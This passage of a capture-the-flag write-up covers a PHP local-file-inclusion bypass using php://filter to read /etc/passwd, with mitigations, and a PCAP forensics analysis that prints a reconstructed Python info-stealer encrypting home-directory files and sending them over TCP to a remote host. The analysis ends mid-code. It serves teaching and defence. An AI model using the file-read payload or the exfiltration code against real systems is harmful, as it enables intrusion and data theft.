&lt;p&gt;The two served documents and the web root itself were both red herrings by&lt;br&gt;
design - the vulnerability was in how the &lt;code&gt;doc&lt;/code&gt; parameter gets consumed, not&lt;br&gt;
in the documents' content.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Bypass - PHP Stream Wrappers Contain No &lt;code&gt;../&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Since the block is a blacklist on traversal &lt;em&gt;syntax&lt;/em&gt;, anything that reaches&lt;br&gt;
the same file-read function without using &lt;code&gt;../&lt;/code&gt; slips through untouched.&lt;br&gt;
PHP's &lt;code&gt;php://filter&lt;/code&gt; stream wrapper is exactly that: it lets you wrap a&lt;br&gt;
&lt;code&gt;resource=&amp;lt;path&amp;gt;&lt;/code&gt; argument in a filter chain (here, base64-encoding it on&lt;br&gt;
the way out) without a single &lt;code&gt;../&lt;/code&gt; or &lt;code&gt;..%2f&lt;/code&gt; anywhere in the string.&lt;br&gt;
Sent straight at &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;/etc/passwd&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No block message, no 403, no 500 - a clean base64 blob. Decoded directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;/etc/passwd&lt;span class="s1"&gt;' | base64 -d | grep bash
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed arbitrary file read as whatever user Apache/PHP is running as.&lt;br&gt;
This is the whole vulnerability in one line: the traversal blacklist checks&lt;br&gt;
the string for &lt;code&gt;../&lt;/code&gt;, but the value is ultimately handed to a PHP function&lt;br&gt;
that resolves &lt;code&gt;php://&lt;/code&gt; stream wrappers - a completely different, legitimate&lt;br&gt;
PHP feature that was never in the blacklist's scope, and was never meant to&lt;br&gt;
be reachable from user input at all.&lt;/p&gt;
&lt;h2&gt;
  
  
  Getting the Flag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;/home/ubuntu/.ssh&lt;/code&gt; and &lt;code&gt;/home/ubuntu/&lt;/code&gt; both returned empty (likely&lt;br&gt;
permission-denied at the OS level for whichever low-privilege user PHP runs&lt;br&gt;
as - a dead end, not a bypass failure). The application's own working&lt;br&gt;
directory was the better target - &lt;code&gt;village_schedule.pdf&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;important.png&lt;/code&gt; both live directly under &lt;code&gt;/var/www/&lt;/code&gt;, so the flag was worth&lt;br&gt;
trying in the same place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;/var/www/flag.txt&lt;span class="s1"&gt;' | base64 -d
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Traversal blacklist instead of a real path/extension whitelist&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;?doc=&amp;lt;filename&amp;gt;&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;Blocks &lt;code&gt;../&lt;/code&gt;-style payloads only; doesn't restrict which file actually gets opened&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;User-controlled value passed unfiltered into a PHP file-read function&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;?doc=&amp;lt;filename&amp;gt;&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;PHP stream wrappers (&lt;code&gt;php://filter/...&lt;/code&gt;) bypass the blacklist entirely, giving arbitrary file read&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never rely on blacklisting traversal syntax (&lt;code&gt;../&lt;/code&gt;, encoded variants, etc.) as a security boundary - validate the resolved value against an actual allowlist of permitted absolute paths (e.g. compare &lt;code&gt;realpath()&lt;/code&gt; of the requested file against a fixed, known-good directory).&lt;/li&gt;
&lt;li&gt;Explicitly reject any &lt;code&gt;doc&lt;/code&gt; value containing a &lt;code&gt;://&lt;/code&gt; scheme separator before it ever reaches a file-read function - PHP stream wrappers (&lt;code&gt;php://&lt;/code&gt;, &lt;code&gt;phar://&lt;/code&gt;, &lt;code&gt;data://&lt;/code&gt;, &lt;code&gt;expect://&lt;/code&gt;, and others) are a well-known class of filter/whitelist bypass and should never be reachable from unsanitized user input.&lt;/li&gt;
&lt;li&gt;Serve user-selectable documents by an internal ID or a strict allowlisted filename map (&lt;code&gt;{"village_schedule": "village_schedule.pdf", "important": "important.png"}&lt;/code&gt;) rather than passing user input into a filesystem or stream-wrapper call at all - this removes the bypass surface entirely rather than trying to filter it.&lt;/li&gt;
&lt;li&gt;Run the web application as a minimally-privileged user with read access to nothing outside its own document root, so that even a successful arbitrary-file-read bug can't reach &lt;code&gt;/etc/passwd&lt;/code&gt;, SSH keys, or other sensitive host files.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a id="casino-heist"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Casino Heist - Network Forensics / Malware Analysis Writeup
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Challenge file:&lt;/strong&gt; &lt;code&gt;stolen_jackpot.pcapng&lt;/code&gt; (701 packets, ~71.9s capture, 20MB)&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; PCAP forensics + PyInstaller reverse engineering&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;The capture shows recon against a small web app (&lt;code&gt;/admin&lt;/code&gt;, &lt;code&gt;/cms&lt;/code&gt;, &lt;code&gt;/flag&lt;/code&gt; all 404), followed by a&lt;br&gt;
successful &lt;code&gt;GET /stealer&lt;/code&gt; that downloads a 20MB ELF binary. That binary is a Python info-stealer&lt;br&gt;
packaged with PyInstaller. Extracting and disassembling it revealed hardcoded AES-CBC key/IV&lt;br&gt;
material and exfiltration logic that walks &lt;code&gt;/home&lt;/code&gt; for any file ending in &lt;code&gt;.jackpot&lt;/code&gt;, encrypts it,&lt;br&gt;
and ships it out over a raw TCP socket. Two short follow-up connections later in the capture are&lt;br&gt;
that exact exfiltration in action - following one of those streams and decrypting with the key/IV&lt;br&gt;
pulled from the binary recovers the flag.&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon of the capture
&lt;/h2&gt;

&lt;p&gt;Started with the basics - just getting oriented before looking at any actual traffic content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;capinfos stolen_jackpot.pcapng
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Number of packets:   701
Capture duration:    71.850694232 seconds
Data size:           20 MB
Data byte rate:      286 kBps
Average packet size: 29399.47 bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not much to conclude yet - 701 packets over ~72 seconds, 20MB total, and a fairly large average&lt;br&gt;
packet size (normal traffic chatter tends to run smaller; this hints that &lt;em&gt;some&lt;/em&gt; packets are large,&lt;br&gt;
but nothing here says what they contain or which protocol they belong to).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;tshark -r stolen_jackpot.pcapng -q -z io,phs
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eth                frames:701 bytes:20609026
  arp              frames:22 bytes:924
  ip               frames:679 bytes:20608102
    tcp            frames:661 bytes:20606338
      http         frames:8 bytes:55145
        data-text-lines  frames:3 bytes:1605
        data             frames:1 bytes:52890
    icmp           frames:18 bytes:1764
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a byte-count breakdown by protocol layer, not a list of transactions. It says: almost all&lt;br&gt;
20MB of the capture is &lt;code&gt;tcp&lt;/code&gt; traffic (ARP and ICMP are negligible), but only 55KB of that gets&lt;br&gt;
classified further down as &lt;code&gt;http&lt;/code&gt; by Wireshark's dissector - and only 1 frame of that shows up as a&lt;br&gt;
generic &lt;code&gt;data&lt;/code&gt; object (52.9KB). That's a big gap: ~20.6MB of TCP payload total, but only ~55KB&lt;br&gt;
attributed to HTTP. The likely reason is TCP segmentation and reassembly - when an HTTP response&lt;br&gt;
body spans many TCP segments, Wireshark only classifies the &lt;em&gt;final&lt;/em&gt; reassembled frame as &lt;code&gt;http&lt;/code&gt;/&lt;br&gt;
&lt;code&gt;data&lt;/code&gt;; the individual segments that make it up are just counted as plain &lt;code&gt;tcp&lt;/code&gt;. At this point&lt;br&gt;
that's a plausible explanation for the gap, not a confirmed one - it doesn't yet tell us there's a&lt;br&gt;
large file download, just that there's a lot of TCP payload that isn't showing up as HTTP.&lt;/p&gt;
&lt;h2&gt;
  
  
  HTTP requests in the capture
&lt;/h2&gt;

&lt;p&gt;To actually see what's happening at the HTTP level rather than just byte totals, filtered directly&lt;br&gt;
on &lt;code&gt;http&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;tshark -r stolen_jackpot.pcapng -Y http -T fields \
  -e frame.number -e ip.src -e ip.dst \
  -e http.request.method -e http.request.uri \
  -e http.response.code -e http.content_type
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22   172.20.0.1 → 172.20.0.2   GET /admin      →  404
34   172.20.0.1 → 172.20.0.2   GET /cms        →  404
46   172.20.0.1 → 172.20.0.2   GET /flag       →  404
76   172.20.0.1 → 172.20.0.2   GET /stealer    →  200  application/octet-stream
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the first point where the traffic actually tells a story: &lt;code&gt;172.20.0.1&lt;/code&gt; is probing a handful&lt;br&gt;
of common paths against a server at &lt;code&gt;172.20.0.2:8080&lt;/code&gt; - &lt;code&gt;/admin&lt;/code&gt;, &lt;code&gt;/cms&lt;/code&gt;, &lt;code&gt;/flag&lt;/code&gt; all come back&lt;br&gt;
404 - and then a fourth request, &lt;code&gt;GET /stealer&lt;/code&gt;, gets a &lt;code&gt;200&lt;/code&gt; with content type&lt;br&gt;
&lt;code&gt;application/octet-stream&lt;/code&gt;. That's a real file being served, and it's the only successful request&lt;br&gt;
in the whole capture, so it's the obvious next thing to pull out and look at.&lt;/p&gt;
&lt;h2&gt;
  
  
  Extracting the binary
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;tshark -r stolen_jackpot.pcapng --export-objects http,objects
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ls -la objects/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-r--r-- 1 root root      469 stealer_extracted... admin
-rw-r--r-- 1 root root      469 cms
-rw-r--r-- 1 root root      469 flag
-rw-r--r-- 1 root root 20559968 stealer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;/admin&lt;/code&gt;, &lt;code&gt;/cms&lt;/code&gt;, &lt;code&gt;/flag&lt;/code&gt; responses are all tiny (469 bytes - just generic 404 pages). &lt;code&gt;stealer&lt;/code&gt;&lt;br&gt;
is 20,559,968 bytes - which is where that earlier gap between "20.6MB of TCP payload" and "55KB of&lt;br&gt;
HTTP" actually gets explained: this one file accounts for essentially the entire size of the&lt;br&gt;
capture. That confirms what the protocol hierarchy stats only hinted at - the bulk of this capture&lt;br&gt;
is the download of this one binary, carried across hundreds of individual TCP segments that&lt;br&gt;
reassemble into a single large HTTP response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;file objects/stealer
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;stealer: ELF 64-bit LSB executable, x86-64, ... dynamically linked, ... stripped
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;strings -a stealer | grep -i python
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PyRun_SimpleStringFlags
LOADER: failed to allocate argv array for execvp!
pyi-python-flag
libpython3.10.so.1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;PyRun_SimpleStringFlags&lt;/code&gt; / &lt;code&gt;LOADER:&lt;/code&gt; / &lt;code&gt;pyi-python-flag&lt;/code&gt; strings are the signature of a&lt;br&gt;
&lt;strong&gt;PyInstaller&lt;/strong&gt; onefile bundle - this "ELF binary" is really a packaged Python 3.10 script plus a&lt;br&gt;
bundled interpreter and dependencies (20MB tracks with a full Python runtime being embedded).&lt;/p&gt;
&lt;h2&gt;
  
  
  Unpacking with pyinstxtractor-ng
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;pyinstxtractor-ng stealer
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Found 198 files in CArchive
[+] Possible entry point: stealer.pyc
[+] Found 666 files in PYZ archive
[+] Successfully extracted pyinstaller archive: stealer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;stealer.pyc&lt;/code&gt; in &lt;code&gt;stealer_extracted/&lt;/code&gt; is the actual malware entry point (everything else is the&lt;br&gt;
bundled Python stdlib/runtime and third-party packages like &lt;code&gt;pycryptodome&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;
  
  
  Reading the bytecode
&lt;/h2&gt;

&lt;p&gt;Standard decompilers (&lt;code&gt;decompyle3&lt;/code&gt;, &lt;code&gt;uncompyle6&lt;/code&gt;) don't support Python 3.10 bytecode yet, so this&lt;br&gt;
was read directly via &lt;code&gt;xdis&lt;/code&gt;'s disassembler instead of trying to recover exact source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;xdis&lt;/span&gt;
&lt;span class="n"&gt;xdis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disassemble_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;stealer_extracted/stealer.pyc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The disassembly reconstructs cleanly enough to read as pseudocode. Module-level constants:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;J4ckp0tH4ck3rKey&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;      &lt;span class="c1"&gt;# 16 bytes -&amp;gt; AES-128 key
&lt;/span&gt;&lt;span class="n"&gt;IV&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Iv_For_Exf1ltr8!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;      &lt;span class="c1"&gt;# 16 bytes -&amp;gt; AES CBC IV
&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;172.20.0.3&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;run()&lt;/code&gt; function's logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gethostname&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;b0x&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nb"&gt;SystemExit&lt;/span&gt;                      &lt;span class="c1"&gt;# a basic sandbox/VM check
&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/home&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.jackpot&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="n"&gt;enc&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IV&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
                &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
                &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the malware: walks &lt;code&gt;/home&lt;/code&gt; for files ending in &lt;code&gt;.jackpot&lt;/code&gt;, AES-CBC-encrypts each one with a&lt;br&gt;
hardcoded key/IV, and exfiltrates &lt;code&gt;filename\n&amp;lt;ciphertext&amp;gt;&lt;/code&gt; over a plain TCP socket to&lt;br&gt;
&lt;code&gt;172.20.0.3:4444&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Finding and decrypting the exfiltration
&lt;/h2&gt;

&lt;p&gt;Two short TCP streams later in the capture connect out to &lt;code&gt;172.20.0.3:4444&lt;/code&gt; - exactly matching the&lt;br&gt;
malware's exfil behavior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;682  172.20.0.1 → 172.20.0.3   TCP  49496 → 4444 [SYN]
685  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=61
690  172.20.0.1 → 172.20.0.3   TCP  49500 → 4444 [SYN]
693  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=29
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two attempts (the second, shorter one is likely a smaller/retry payload); the first carries the&lt;br&gt;
full flag file. Following that TCP stream in raw hex:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;tshark -r stolen_jackpot.pcapng -q -z follow,tcp,raw,4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Splitting on the first &lt;code&gt;0a&lt;/code&gt; (newline) byte separates the filename from the ciphertext:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;666c61672e6a61636b706f740a  -&amp;gt; "flag.jackpot\n"
9bcc341f...8fe5              -&amp;gt; 48-byte AES-CBC ciphertext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decrypting with the key/IV recovered from the binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Crypto.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Crypto.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;

